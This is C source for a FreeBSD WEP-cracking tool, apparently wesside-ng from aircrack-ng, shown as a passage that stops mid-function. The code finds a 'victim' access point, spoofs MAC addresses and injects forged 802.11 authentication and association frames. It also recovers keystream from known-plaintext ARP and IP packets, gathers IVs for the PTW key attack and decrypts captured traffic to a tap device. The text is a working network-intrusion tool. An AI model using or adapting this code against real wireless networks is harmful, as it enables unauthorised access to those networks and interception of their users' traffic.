#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <sys/endian.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/uio.h>
#include <net/if.h>
#include <net/if_media.h>
#include <net/if_llc.h>
#include <net/if_arp.h>
#include <net/if_types.h>
#include <net/if_dl.h>
#include <net/bpf.h>
#include <net/ethernet.h>
#include <net80211/ieee80211.h>
#include <net80211/ieee80211_ioctl.h>
#include <net80211/ieee80211_radiotap.h>
#include <net80211/ieee80211_freebsd.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <arpa/inet.h>
#include <paths.h>
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <fcntl.h>
#include <errno.h>
#include <assert.h>
#include <zlib.h>
#include <signal.h>
#include <stdarg.h>
#include <err.h>
#include <pcap.h>
#include "aircrack-ptw-lib.h"
#define FIND_VICTIM 0
#define FOUND_VICTIM 1
#define SENDING_AUTH 2
#define GOT_AUTH 3
#define SPOOF_MAC 4
#define SENDING_ASSOC 5
#define GOT_ASSOC 6
int state = 0;
struct timeval arpsend;
struct tx_state {
int waiting_ack;
struct timeval tsent;
int retries;
unsigned int psent;
} txstate;
struct chan_info {
int s;
struct ieee80211req ireq;
int chan;
} chaninfo;
struct victim_info {
char* ssid;
int chan;
char bss[6];
} victim;
struct frag_state {
struct ieee80211_frame wh;
unsigned char* data;
int len;
unsigned char* ptr;
int waiting_relay;
struct timeval last;
} fragstate;
struct prga_info {
unsigned char* prga;
unsigned int len;
unsigned char iv[3];
} prgainfo;
struct decrypt_state {
unsigned char* cipher;
int clen;
struct prga_info prgainfo;
struct frag_state fragstate;
} decryptstate;
struct wep_log {
unsigned int packets;
unsigned int rate;
int fd;
unsigned char iv[3];
} weplog;
#define LINKTYPE_IEEE802_11 105
#define TCPDUMP_MAGIC 0xA1B2C3D4
unsigned char* floodip = 0;
unsigned short floodport = 6969;
unsigned short floodsport = 53;
unsigned char* netip = 0;
int netip_arg = 0;
int max_chan = 11;
unsigned char* rtrmac = 0;
unsigned char mymac[] = "\x00\x00\xde\xfa\xce\x0d";
unsigned char myip[16] = "192.168.0.123";
int bits = 0;
int ttl_val = 0;
PTW_attackstate *ptw;
unsigned char *victim_mac = 0;
int ack_timeout = 100*1000;
#define ARPLEN (8+ 8 + 20)
unsigned char arp_clear[] = "\xAA\xAA\x03\x00\x00\x00\x08\x06";
unsigned char ip_clear[] = "\xAA\xAA\x03\x00\x00\x00\x08\x00";
#define S_LLC_SNAP "\xAA\xAA\x03\x00\x00\x00"
#define S_LLC_SNAP_ARP (S_LLC_SNAP "\x08\x06")
#define S_LLC_SNAP_IP (S_LLC_SNAP "\x08\x00")
#define MCAST_PREF "\x01\x00\x5e\x00\x00"
#define WEP_FILE "wep.cap"
#define KEY_FILE "key.log"
#define PRGA_FILE "prga.log"
unsigned int min_prga = 128;
#define CRACK_LOCAL_CMD "../aircrack/aircrack"
#define CRACK_INSTALL_CMD _PATH_LOCALBASE "/bin/aircrack"
#define INCR 10000
int thresh_incr = INCR;
#define MAGIC_TTL_PAD 69
int crack_dur = 60;
int wep_thresh = INCR;
int crack_pid = 0;
struct timeval crack_start;
struct timeval real_start;
#define PADDED_ARPLEN 54
#define PRGA_LEN (1500-14-20-8)
unsigned char inet_clear[8+20+8+PRGA_LEN+4];
#define DICT_PATH "dict"
#define TAP_DEV "/dev/tap3"
unsigned char tapdev[16];
unsigned char taptx[4096];
unsigned int taptx_len = 0;
int tapfd = -1;
unsigned short in_cksum (unsigned short *ptr, int nbytes) {
register long sum;
u_short oddbyte;
register u_short answer;
sum = 0;
while (nbytes > 1)
{
sum += *ptr++;
nbytes -= 2;
}
if (nbytes == 1)
{
oddbyte = 0;
*((u_char *) & oddbyte) = *(u_char *) ptr;
sum += oddbyte;
}
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
answer = ~sum;
return (answer);
}
unsigned int udp_checksum(unsigned char *stuff, int len, struct in_addr *sip,
struct in_addr *dip) {
unsigned char *tmp;
struct ippseudo *ph;
tmp = (unsigned char*) malloc(len + sizeof(struct ippseudo));
if(!tmp)
err(1, "malloc()");
ph = (struct ippseudo*) tmp;
memcpy(&ph->ippseudo_src, sip, 4);
memcpy(&ph->ippseudo_dst, dip, 4);
ph->ippseudo_pad = 0;
ph->ippseudo_p = IPPROTO_UDP;
ph->ippseudo_len = htons(len);
memcpy(tmp + sizeof(struct ippseudo), stuff, len);
return in_cksum((unsigned short*)tmp, len+sizeof(struct ippseudo));
}
void time_print(char* fmt, ...) {
va_list ap;
char lame[1024];
time_t tt;
struct tm *t;
va_start(ap, fmt);
vsnprintf(lame, sizeof(lame), fmt, ap);
va_end(ap);
tt = time(NULL);
if (tt == (time_t)-1) {
perror("time()");
exit(1);
}
t = localtime(&tt);
if (!t) {
perror("localtime()");
exit(1);
}
printf("[%.2d:%.2d:%.2d] %s",
t->tm_hour, t->tm_min, t->tm_sec, lame);
}
void check_key() {
char buf[1024];
int fd;
int rd;
struct timeval now;
fd = open(KEY_FILE, O_RDONLY);
if (fd == -1) {
return;
}
rd = read(fd, buf, sizeof(buf) -1);
if (rd == -1) {
perror("read()");
exit(1);
}
buf[rd] = 0;
close(fd);
printf ("\n\n");
time_print("KEY=(%s)\n", buf);
if (gettimeofday(&now, NULL) == -1) {
perror("gettimeofday()");
exit(1);
}
printf ("Owned in %.02f minutes\n",
((double) now.tv_sec - real_start.tv_sec)/60.0);
exit(0);
}
void kill_crack() {
if (crack_pid == 0)
return;
printf("\n");
time_print("Stopping crack PID=%d\n", crack_pid);
if (kill(crack_pid, SIGINT) == -1) {
perror("kill()");
exit(1);
}
crack_pid = 0;
check_key();
}
void cleanup(int x) {
time_print("\nDying...\n");
if (weplog.fd)
close(weplog.fd);
kill_crack();
exit(0);
}
void set_chan(int c) {
if (c == chaninfo.chan)
return;
chaninfo.ireq.i_val = c;
if (ioctl(chaninfo.s, SIOCS80211, &chaninfo.ireq) == -1) {
perror("ioctl(SIOCS80211) [chan]");
exit(1);
}
chaninfo.chan = c;
}
void set_if_mac(unsigned char* mac, unsigned char *name) {
int s;
struct ifreq ifr;
s = socket(PF_INET, SOCK_DGRAM, 0);
if (s == -1) {
perror("socket()");
exit(1);
}
memset(&ifr, 0, sizeof(ifr));
strcpy(ifr.ifr_name, name);
ifr.ifr_addr.sa_family = AF_LINK;
ifr.ifr_addr.sa_len = 6;
memcpy(ifr.ifr_addr.sa_data, mac, 6);
if (ioctl(s, SIOCSIFLLADDR, &ifr) == -1) {
perror("ioctl(SIOCSIFLLADDR)");
exit(1);
}
close(s);
}
void setup_if(char *dev) {
int s;
struct ifreq ifr;
unsigned int flags;
struct ifmediareq ifmr;
int *mwords;
if(strlen(dev) >= IFNAMSIZ) {
time_print("Interface name too long...\n");
exit(1);
}
time_print("Setting up %s... ", dev);
fflush(stdout);
set_if_mac(mymac, dev);
s = socket(PF_INET, SOCK_DGRAM, 0);
if (s == -1) {
perror("socket()");
exit(1);
}
memset(&chaninfo.ireq, 0, sizeof(chaninfo.ireq));
strcpy(chaninfo.ireq.i_name, dev);
chaninfo.ireq.i_type = IEEE80211_IOC_CHANNEL;
chaninfo.chan = 0;
chaninfo.s = s;
set_chan(1);
memset(&ifr, 0, sizeof(ifr));
strcpy(ifr.ifr_name, dev);
if (ioctl(s, SIOCGIFFLAGS, &ifr) == -1) {
perror("ioctl(SIOCGIFFLAGS)");
exit(1);
}
flags = (ifr.ifr_flags & 0xffff) | (ifr.ifr_flagshigh << 16);
flags |= IFF_UP | IFF_PPROMISC;
memset(&ifr, 0, sizeof(ifr));
strcpy(ifr.ifr_name, dev);
ifr.ifr_flags = flags & 0xffff;
ifr.ifr_flagshigh = flags >> 16;
if (ioctl(s, SIOCSIFFLAGS, &ifr) == -1) {
perror("ioctl(SIOCSIFFLAGS)");
exit(1);
}
printf("done\n");
}
int open_bpf(char *dev, int dlt) {
int i;
char buf[64];
int fd = -1;
struct ifreq ifr;
for(i = 0;i < 16; i++) {
sprintf(buf, "/dev/bpf%d", i);
fd = open(buf, O_RDWR);
if(fd < 0) {
if(errno != EBUSY) {
perror("can't open /dev/bpf");
exit(1);
}
continue;
}
else
break;
}
if(fd < 0) {
perror("can't open /dev/bpf");
exit(1);
}
strncpy(ifr.ifr_name, dev, sizeof(ifr.ifr_name)-1);
ifr.ifr_name[sizeof(ifr.ifr_name)-1] = 0;
if(ioctl(fd, BIOCSETIF, &ifr) < 0) {
perror("ioctl(BIOCSETIF)");
exit(1);
}
if (ioctl(fd, BIOCSDLT, &dlt) < 0) {
perror("ioctl(BIOCSDLT)");
exit(1);
}
i = 1;
if(ioctl(fd, BIOCIMMEDIATE, &i) < 0) {
perror("ioctl(BIOCIMMEDIATE)");
exit(1);
}
return fd;
}
void hexdump(unsigned char *ptr, int len) {
while(len > 0) {
printf("%.2X ", *ptr);
ptr++; len--;
}
printf("\n");
}
char* mac2str(unsigned char* mac) {
static char ret[6*3];
sprintf(ret, "%.2X:%.2X:%.2X:%.2X:%.2X:%.2X",
mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]);
return ret;
}
void inject(int fd, void *buf, int len)
{
static struct ieee80211_bpf_params params = {
.ibp_vers = IEEE80211_BPF_VERSION,
.ibp_len = sizeof(struct ieee80211_bpf_params) - 6,
.ibp_rate0 = 2,
.ibp_try0 = 1,
.ibp_flags = IEEE80211_BPF_NOACK,
.ibp_power = 100,
.ibp_pri = WME_AC_VO,
};
struct iovec iov[2];
int rc;
iov[0].iov_base = ¶ms;
iov[0].iov_len = params.ibp_len;
iov[1].iov_base = buf;
iov[1].iov_len = len;
rc = writev(fd, iov, 2);
if(rc == -1) {
perror("writev()");
exit(1);
}
if (rc != (len + iov[0].iov_len)) {
time_print("Error Wrote %d out of %d\n", rc,
len+iov[0].iov_len);
exit(1);
}
}
void send_frame(int tx, unsigned char* buf, int len) {
static unsigned char* lame = 0;
static int lamelen = 0;
static int lastlen = 0;
if (len == -1) {
txstate.retries++;
if (txstate.retries > 10) {
time_print("ERROR Max retransmists for (%d bytes):\n",
lastlen);
hexdump(&lame[0], lastlen);
}
len = lastlen;
}
else {
assert(!txstate.waiting_ack);
if (len > lamelen) {
if (lame)
free(lame);
lame = (unsigned char*) malloc(len);
if(!lame) {
perror("malloc()");
exit(1);
}
lamelen = len;
}
memcpy(lame, buf, len);
txstate.retries = 0;
lastlen = len;
}
inject(tx, lame, len);
txstate.waiting_ack = 1;
txstate.psent++;
if (gettimeofday(&txstate.tsent, NULL) == -1) {
perror("gettimeofday()");
exit(1);
}
#if 0
printf("Wrote frame at %lu.%lu\n",
txstate.tsent.tv_sec, txstate.tsent.tv_usec);
#endif
}
unsigned short fnseq(unsigned short fn, unsigned short seq) {
unsigned short r = 0;
if(fn > 15) {
time_print("too many fragments (%d)\n", fn);
exit(1);
}
r = fn;
r |= ( (seq % 4096) << IEEE80211_SEQ_SEQ_SHIFT);
return r;
}
void fill_basic(struct ieee80211_frame* wh) {
unsigned short* sp;
memcpy(wh->i_addr1, victim.bss, 6);
memcpy(wh->i_addr2, mymac, 6);
memcpy(wh->i_addr3, victim.bss, 6);
sp = (unsigned short*) wh->i_seq;
*sp = fnseq(0, txstate.psent);
sp = (unsigned short*) wh->i_dur;
*sp = htole16(32767);
}
void send_assoc(int tx) {
unsigned char buf[128];
struct ieee80211_frame* wh = (struct ieee80211_frame*) buf;
unsigned char* body;
int ssidlen;
memset(buf, 0, sizeof(buf));
fill_basic(wh);
wh->i_fc[0] |= IEEE80211_FC0_TYPE_MGT | IEEE80211_FC0_SUBTYPE_ASSOC_REQ;
body = (unsigned char*) wh + sizeof(*wh);
*body = 1 | IEEE80211_CAPINFO_PRIVACY;
body += 2 + 2;
*body++ = 0;
ssidlen = strlen(victim.ssid);
*body++ = ssidlen;
memcpy(body, victim.ssid, ssidlen);
body += ssidlen;
*body++ = 1;
*body++ = 4;
*body++ = 2;
*body++ = 4;
*body++ = 11;
*body++ = 22;
send_frame(tx, buf, sizeof(*wh) + 2 + 2 + 2 +
strlen(victim.ssid) + 2 + 4);
}
void wepify(unsigned char* body, int dlen) {
uLong crc;
unsigned long *pcrc;
int i;
assert(dlen + 4 <= prgainfo.len);
memcpy(body, prgainfo.iv, 3);
body +=3;
*body++ = 0;
crc = crc32(0L, Z_NULL, 0);
crc = crc32(crc, body, dlen);
pcrc = (unsigned long*) (body+dlen);
*pcrc = crc;
for (i = 0; i < dlen +4; i++)
*body++ ^= prgainfo.prga[i];
}
void send_auth(int tx) {
unsigned char buf[128];
struct ieee80211_frame* wh = (struct ieee80211_frame*) buf;
unsigned short* n;
memset(buf, 0, sizeof(buf));
fill_basic(wh);
wh->i_fc[0] |= IEEE80211_FC0_TYPE_MGT | IEEE80211_FC0_SUBTYPE_AUTH;
n = (unsigned short*) ((unsigned char*) wh + sizeof(*wh));
n++;
*n = 1;
send_frame(tx, buf, sizeof(*wh) + 2 + 2 + 2);
}
int get_victim_ssid(struct ieee80211_frame* wh, int len) {
unsigned char* ptr;
int x;
int gots = 0, gotc = 0;
if (len <= sizeof(*wh)) {
time_print("Warning: short packet in get_victim_ssid()\n");
return 0;
}
ptr = (unsigned char*)wh + sizeof(*wh);
len -= sizeof(*wh);
if ( !(IEEE80211_BEACON_CAPABILITY(ptr) & IEEE80211_CAPINFO_PRIVACY)) {
return 0;
}
if (victim_mac) {
if (memcmp(wh->i_addr3, victim_mac, 6) != 0)
return 0;
}
x = 8 + 2 + 2;
if (len <= x) {
time_print("Warning short.asdfasdf\n");
return 0;
}
ptr += x;
len -= x;
while(len > 2) {
int eid, elen;
eid = *ptr;
ptr++;
elen = *ptr;
ptr++;
len -= 2;
if (len < elen) {
time_print("Warning short....\n");
return 0;
}
if (eid == 0) {
if (victim.ssid)
free(victim.ssid);
victim.ssid = (char*) malloc(elen + 1);
if (!victim.ssid) {
perror("malloc()");
exit(1);
}
memcpy(victim.ssid, ptr, elen);
victim.ssid[elen] = 0;
gots = 1;
}
else if(eid == 3) {
if( elen != 1) {
time_print("Warning len of chan not 1\n");
return 0;
}
victim.chan = *ptr;
gotc = 1;
}
ptr += elen;
len -= elen;
}
if (gots && gotc) {
memcpy(victim.bss, wh->i_addr3, 6);
set_chan(victim.chan);
state = FOUND_VICTIM;
time_print("Found SSID(%s) BSS=(%s) chan=%d\n",
victim.ssid, mac2str(victim.bss), victim.chan);
return 1;
}
return 0;
}
void send_ack(int tx) {
}
void do_llc(unsigned char* buf, unsigned short type) {
struct llc* h = (struct llc*) buf;
memset(h, 0, sizeof(*h));
h->llc_dsap = LLC_SNAP_LSAP;
h->llc_ssap = LLC_SNAP_LSAP;
h->llc_un.type_snap.control = 3;
h->llc_un.type_snap.ether_type = htons(type);
}
void calculate_inet_clear() {
struct ip* ih;
struct udphdr* uh;
uLong crc;
unsigned long *pcrc;
int dlen;
memset(inet_clear, 0, sizeof(inet_clear));
do_llc(inet_clear, ETHERTYPE_IP);
ih = (struct ip*) &inet_clear[8];
ih->ip_hl = 5;
ih->ip_v = 4;
ih->ip_tos = 0;
ih->ip_len = htons(20+8+PRGA_LEN);
ih->ip_id = htons(666);
ih->ip_off = 0;
ih->ip_ttl = ttl_val;
ih->ip_p = IPPROTO_UDP;
ih->ip_sum = 0;
inet_aton(floodip, &ih->ip_src);
inet_aton(myip, &ih->ip_dst);
ih->ip_sum = in_cksum((unsigned short*)ih, 20);
uh = (struct udphdr*) ((char*)ih + 20);
uh->uh_sport = htons(floodport);
uh->uh_dport = htons(floodsport);
uh->uh_ulen = htons(8+PRGA_LEN);
uh->uh_sum = 0;
uh->uh_sum = udp_checksum((unsigned char*)uh, 8+PRGA_LEN,
&ih->ip_src, &ih->ip_dst);
dlen = 8 + 20 + 8 + PRGA_LEN;
assert (dlen + 4 <= sizeof(inet_clear));
crc = crc32(0L, Z_NULL, 0);
crc = crc32(crc, inet_clear, dlen);
pcrc = (unsigned long*) (inet_clear+dlen);
*pcrc = crc;
#if 0
printf("INET %d\n", sizeof(inet_clear));
hexdump(inet_clear, sizeof(inet_clear));
#endif
}
void set_prga(unsigned char* iv, unsigned char* cipher,
unsigned char* clear, int len) {
int i;
int fd;
if (prgainfo.len != 0)
free(prgainfo.prga);
prgainfo.prga = (unsigned char*) malloc(len);
if (!prgainfo.prga) {
perror("malloc()");
exit(1);
}
prgainfo.len = len;
memcpy(prgainfo.iv, iv, 3);
for (i = 0; i < len; i++) {
prgainfo.prga[i] = ( cipher ? (clear[i] ^ cipher[i]) :
clear[i]);
}
time_print("Got %d bytes of prga IV=(%.02x:%.02x:%.02x) PRGA=",
prgainfo.len, prgainfo.iv[0], prgainfo.iv[1], prgainfo.iv[2]);
hexdump(prgainfo.prga, prgainfo.len);
if (!cipher)
return;
fd = open(PRGA_FILE, O_WRONLY | O_CREAT,
S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH);
if (fd == -1) {
perror("open()");
exit(1);
}
i = write(fd, prgainfo.iv, 3);
if (i == -1) {
perror("write()");
exit(1);
}
if (i != 3) {
printf("Wrote %d out of %d\n", i, 3);
exit(1);
}
i = write(fd, prgainfo.prga, prgainfo.len);
if (i == -1) {
perror("write()");
exit(1);
}
if (i != prgainfo.len) {
printf("Wrote %d out of %d\n", i, prgainfo.len);
exit(1);
}
close(fd);
}
void log_dictionary(unsigned char* body, int len) {
char paths[3][3];
int i, rd;
int fd;
unsigned char path[128];
unsigned char file_clear[sizeof(inet_clear)];
unsigned char* data;
len -= 4;
assert (len == sizeof(inet_clear));
data = body +4;
if (len > prgainfo.len)
set_prga(body, data, inet_clear, len);
for (i = 0; i < 3; i++)
snprintf(paths[i], sizeof(paths[i]), "%.2X", body[i]);
strcpy(path, DICT_PATH);
for (i = 0; i < 2; i++) {
strcat(path, "/");
strcat(path, paths[i]);
fd = open(path, O_RDONLY);
if (fd == -1) {
if (errno != ENOENT) {
perror("open()");
exit(1);
}
if (mkdir(path, 0755) == -1) {
perror("mkdir()");
exit(1);
}
}
else
close(fd);
}
strcat(path, "/");
strcat(path, paths[2]);
fd = open(path, O_RDWR);
if (fd != -1) {
rd = read(fd, file_clear, sizeof(file_clear));
if (rd == -1) {
perror("read()");
exit(1);
}
for (i = 0; i < rd; i++) {
if (file_clear[i] !=
(data[i] ^ inet_clear[i])) {
printf("Mismatch in byte %d for:\n", i);
hexdump(body, len+4);
exit(1);
}
}
if (i >= sizeof(inet_clear)) {
#if 0
time_print("Not logging IV %.2X:%.2X:%.2X cuz we got it\n",
body[0], body[1], body[2]);
#endif
close(fd);
return;
}
} else {
fd = open(path, O_WRONLY | O_CREAT, 0644);
if (fd == -1) {
printf("Can't open (%s): %s\n", path,
strerror(errno));
exit(1);
}
}
assert (sizeof(file_clear) >= sizeof(inet_clear));
for(i = 0; i < len; i++)
file_clear[i] = data[i] ^ inet_clear[i];
rd = write(fd, file_clear, len);
if (rd == -1) {
perror("write()");
exit(1);
}
if (rd != len) {
printf("Wrote %d of %d\n", rd, len);
exit(1);
}
close(fd);
}
void stuff_for_us(struct ieee80211_frame* wh, int len) {
int type,stype;
unsigned char* body;
type = wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK;
stype = wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK;
body = (unsigned char*) wh + sizeof(*wh);
if (type == IEEE80211_FC0_TYPE_CTL) {
if (stype == IEEE80211_FC0_SUBTYPE_ACK) {
txstate.waiting_ack = 0;
return;
}
if (stype == IEEE80211_FC0_SUBTYPE_RTS) {
return;
}
if (stype == IEEE80211_FC0_SUBTYPE_CTS) {
return;
}
time_print ("got CTL=%x\n", stype);
return;
}
if (type == IEEE80211_FC0_TYPE_MGT) {
if (stype == IEEE80211_FC0_SUBTYPE_DEAUTH) {
unsigned short* rc = (unsigned short*) body;
printf("\n");
time_print("Got deauth=%u\n", le16toh(*rc));
state = FOUND_VICTIM;
return;
exit(1);
}
else if (stype == IEEE80211_FC0_SUBTYPE_AUTH) {
unsigned short* sc = (unsigned short*) body;
if (*sc != 0) {
time_print("Warning got auth algo=%x\n", *sc);
exit(1);
return;
}
sc++;
if (*sc != 2) {
time_print("Warning got auth seq=%x\n", *sc);
return;
}
sc++;
if (*sc == 1) {
time_print("Auth rejected... trying to spoof mac.\n");
state = SPOOF_MAC;
return;
}
else if (*sc == 0) {
time_print("Authenticated\n");
state = GOT_AUTH;
return;
}
else {
time_print("Got auth %x\n", *sc);
exit(1);
}
}
else if (stype == IEEE80211_FC0_SUBTYPE_ASSOC_RESP) {
unsigned short* sc = (unsigned short*) body;
sc++;
if (*sc == 0) {
sc++;
unsigned int aid = le16toh(*sc) & 0x3FFF;
time_print("Associated (ID=%x)\n", aid);
state = GOT_ASSOC;
return;
} else if (*sc == 12) {
time_print("Assoc rejected..."
" trying to spoof mac.\n");
state = SPOOF_MAC;
return;
} else {
time_print("got assoc %x\n", *sc);
exit(1);
}
} else if (stype == IEEE80211_FC0_SUBTYPE_PROBE_RESP) {
return;
}
time_print("\nGOT MAN=%x\n", stype);
exit(1);
}
if (type == IEEE80211_FC0_TYPE_DATA &&
stype == IEEE80211_FC0_SUBTYPE_DATA) {
int dlen;
dlen = len - sizeof(*wh) - 4 -4;
if (!( wh->i_fc[1] & IEEE80211_FC1_PROTECTED)) {
time_print("WARNING: Got NON wep packet from %s dlen %d stype=%x\n",
mac2str(wh->i_addr2), dlen, stype);
return;
}
assert (wh->i_fc[1] & IEEE80211_FC1_PROTECTED);
if ((dlen == 36 || dlen == PADDED_ARPLEN) && rtrmac == (unsigned char*) 1) {
rtrmac = (unsigned char *) malloc(6);
if (!rtrmac) {
perror("malloc()");
exit(1);
}
assert( rtrmac > (unsigned char*) 1);
memcpy (rtrmac, wh->i_addr3, 6);
time_print("Got arp reply from (%s)\n", mac2str(rtrmac));
return;
}
#if 0
if (dlen >= (8+20+8+MAGIC_TTL_PAD) &&
dlen <= (8+20+8+MAGIC_TTL_PAD+128)) {
int ttl_delta, new_ttl;
ttl_delta = dlen - 8 - 20 - 8 - MAGIC_TTL_PAD;
new_ttl = 128 - ttl_delta;
if (ttl_val && new_ttl != ttl_val) {
time_print("oops. ttl changed from %d to %d\n",
ttl_val, new_ttl);
exit(1);
}
if (!ttl_val) {
ttl_val = new_ttl;
printf("\n");
time_print("Got TTL of %d\n", ttl_val);
calculate_inet_clear();
}
}
if (ttl_val && dlen == (8+20+8+PRGA_LEN)) {
log_dictionary(body, len - sizeof(*wh));
}
#endif
}
#if 0
printf ("Got frame for us (type=%x stype=%x) from=(%s) len=%d\n",
type, stype, mac2str(wh->i_addr2), len);
#endif
}
void decrypt_arpreq(struct ieee80211_frame* wh, int rd) {
unsigned char* body;
int bodylen;
unsigned char clear[36];
unsigned char* ptr;
struct arphdr* h;
int i;
body = (unsigned char*) wh+sizeof(*wh);
ptr = clear;
memcpy(ptr, arp_clear, sizeof(arp_clear)-1);
ptr += sizeof(arp_clear) -1;
h = (struct arphdr*)ptr;
h->ar_hrd = htons(ARPHRD_ETHER);
h->ar_pro = htons(ETHERTYPE_IP);
h->ar_hln = 6;
h->ar_pln = 4;
h->ar_op = htons(ARPOP_REQUEST);
ptr += sizeof(*h);
memcpy(ptr, wh->i_addr3, 6);
bodylen = rd - sizeof(*wh) - 4 - 4;
decryptstate.clen = bodylen;
decryptstate.cipher = (unsigned char*) malloc(decryptstate.clen);
if (!decryptstate.cipher) {
perror("malloc()");
exit(1);
}
decryptstate.prgainfo.prga = (unsigned char*) malloc(decryptstate.clen);
if (!decryptstate.prgainfo.prga) {
perror("malloc()");
exit(1);
}
memcpy(decryptstate.cipher, &body[4], decryptstate.clen);
memcpy(decryptstate.prgainfo.iv, body, 3);
memset(decryptstate.prgainfo.prga, 0, decryptstate.clen);
for(i = 0; i < (8+8+6); i++) {
decryptstate.prgainfo.prga[i] = decryptstate.cipher[i] ^
clear[i];
}
decryptstate.prgainfo.len = i;
time_print("Got ARP request from (%s)\n", mac2str(wh->i_addr3));
}
void log_wep(struct ieee80211_frame* wh, int len) {
int rd;
struct pcap_pkthdr pkh;
struct timeval tv;
unsigned char *body = (unsigned char*) (wh+1);
memset(&pkh, 0, sizeof(pkh));
pkh.caplen = pkh.len = len;
if (gettimeofday(&tv, NULL) == -1)
err(1, "gettimeofday()");
pkh.ts = tv;
if (write(weplog.fd, &pkh, sizeof(pkh)) != sizeof(pkh))
err(1, "write()");
rd = write(weplog.fd, wh, len);
if (rd == -1) {
perror("write()");
exit(1);
}
if (rd != len) {
time_print("short write %d out of %d\n", rd, len);
exit(1);
}
#if 0
if (fsync(weplog.fd) == -1) {
perror("fsync()");
exit(1);
}
#endif
memcpy(weplog.iv, body, 3);
weplog.packets++;
}
void try_dictionary(struct ieee80211_frame* wh, int len) {
unsigned char *body;
char path[52];
char paths[3][3];
int i;
int fd, rd;
unsigned char packet[4096];
int dlen;
struct ether_header* eh;
uLong crc;
unsigned long *pcrc;
unsigned char* dmac, *smac;
assert (len < sizeof(packet) + sizeof(*eh));
body = (unsigned char*) wh + sizeof(*wh);
for (i = 0; i < 3; i++)
snprintf(paths[i], sizeof(paths[i]), "%.2X", body[i]);
sprintf(path, "%s/%s/%s/%s", DICT_PATH, paths[0], paths[1], paths[2]);
fd = open(path, O_RDONLY);
if (fd == -1)
return;
rd = read(fd, &packet[6], sizeof(packet)-6);
if (rd == -1) {
perror("read()");
exit(1);
}
close(fd);
dlen = len - sizeof(*wh) - 4;
if (dlen > rd) {
printf("\n");
time_print("Had PRGA (%s) but too little (%d/%d)\n", path, rd,
dlen);
return;
}
body += 4;
for (i = 0; i < dlen; i++)
packet[6+i] ^= body[i];
dlen -= 4;
crc = crc32(0L, Z_NULL, 0);
crc = crc32(crc, &packet[6], dlen);
pcrc = (unsigned long*) (&packet[6+dlen]);
if (*pcrc != crc) {
printf("\n");
time_print("HAD PRGA (%s) checksum mismatch! (%x %x)\n",
path, *pcrc, crc);
return;
}
eh = (struct ether_header*) packet;
if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)
smac = wh->i_addr3;
else
smac = wh->i_addr2;
if (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS)
dmac = wh->i_addr3;
else
dmac = wh->i_addr1;
memcpy(eh->ether_dhost, dmac, 6);
memcpy(eh->ether_shost, smac, 6);
dlen -= 8;
dlen += sizeof(*eh);
#if 0
printf("\n");
time_print("Decrypted packet [%d bytes]!!! w00t\n", dlen);
hexdump(packet, dlen);
#endif
rd = write(tapfd, packet, dlen);
if (rd == -1) {
perror("write()");
exit(1);
}
if (rd != dlen) {
printf("Wrote %d / %d\n", rd, dlen);
exit(1);
}
}
int is_arp(struct ieee80211_frame *wh, int len)
{
int arpsize = 8 + sizeof(struct arphdr) + 10*2;
if (len == arpsize || len == 54)
return 1;
return 0;
}
void *get_sa(struct ieee80211_frame *wh)
{
if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)
return wh->i_addr3;
else
return wh->i_addr2;
}
void *get_da(struct ieee80211_frame *wh)
{
if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)
return wh->i_addr1;
else
return wh->i_addr3;
}
int known_clear(void *clear, struct ieee80211_frame *wh, int len)
{
unsigned char *ptr = clear;
if (!is_arp(wh, len)) {
unsigned short iplen = htons(len - 8);
len = sizeof(S_LLC_SNAP_IP) - 1;
memcpy(ptr, S_LLC_SNAP_IP, len);
ptr += len;
#if 1
len = 2;
memcpy(ptr, "\x45\x00", len);
ptr += len;
memcpy(ptr, &iplen, len);
ptr += len;
#endif
len = ptr - ((unsigned char*)clear);
return len;
}
len = sizeof(S_LLC_SNAP_ARP) - 1;
memcpy(ptr, S_LLC_SNAP_ARP, len);
ptr += len;
len = 6;
memcpy(ptr, "\x00\x01\x08\x00\x06\x04", len);
ptr += len;
len = 2;
if (memcmp(get_da(wh), "\xff\xff\xff\xff\xff\xff", 6) == 0)
memcpy(ptr, "\x00\x01", len);
else
memcpy(ptr, "\x00\x02", len);
ptr += len;
len = 6;
memcpy(ptr, get_sa(wh), len);
ptr += len;
len = ptr - ((unsigned char*)clear);
return len;
}
void add_keystream(struct ieee80211_frame* wh, int rd)
{
unsigned char clear[1024];
int dlen = rd - sizeof(struct ieee80211_frame) - 4 - 4;
int clearsize;
unsigned char *body = (unsigned char*) (wh+1);
int i;
clearsize = known_clear(clear, wh, dlen);
if (clearsize < 16)
return;
for (i = 0; i < 16; i++)
clear[i] ^= body[4+i];
PTW_addsession(ptw, body, clear);
}
void got_wep(struct ieee80211_frame* wh, int rd) {
int bodylen;
int dlen;
unsigned char clear[1024];
int clearsize;
unsigned char *body;
bodylen = rd - sizeof(struct ieee80211_frame);
dlen = bodylen - 4 - 4;
body = (unsigned char*) wh + sizeof(*wh);
if ( (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) ||
( (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) &&
memcmp(wh->i_addr2, mymac, 6) != 0) ) {
if (body[3] != 0) {
time_print("Key index=%x!!\n", body[3]);
exit(1);
}
log_wep(wh, rd);
add_keystream(wh, rd);
try_dictionary(wh, rd);
}
if ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) &&
(memcmp(wh->i_addr3, mymac, 6) != 0) &&
(memcmp(wh->i_addr1, "\xff\xff\xff\xff\xff\xff", 6) == 0) &&
(dlen == 36 || dlen == PADDED_ARPLEN) &&
!decryptstate.cipher &&
!netip) {
decrypt_arpreq(wh, rd);
}
if (prgainfo.len != 0) {
if ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) &&
(memcmp(wh->i_addr3, mymac, 6) == 0) &&
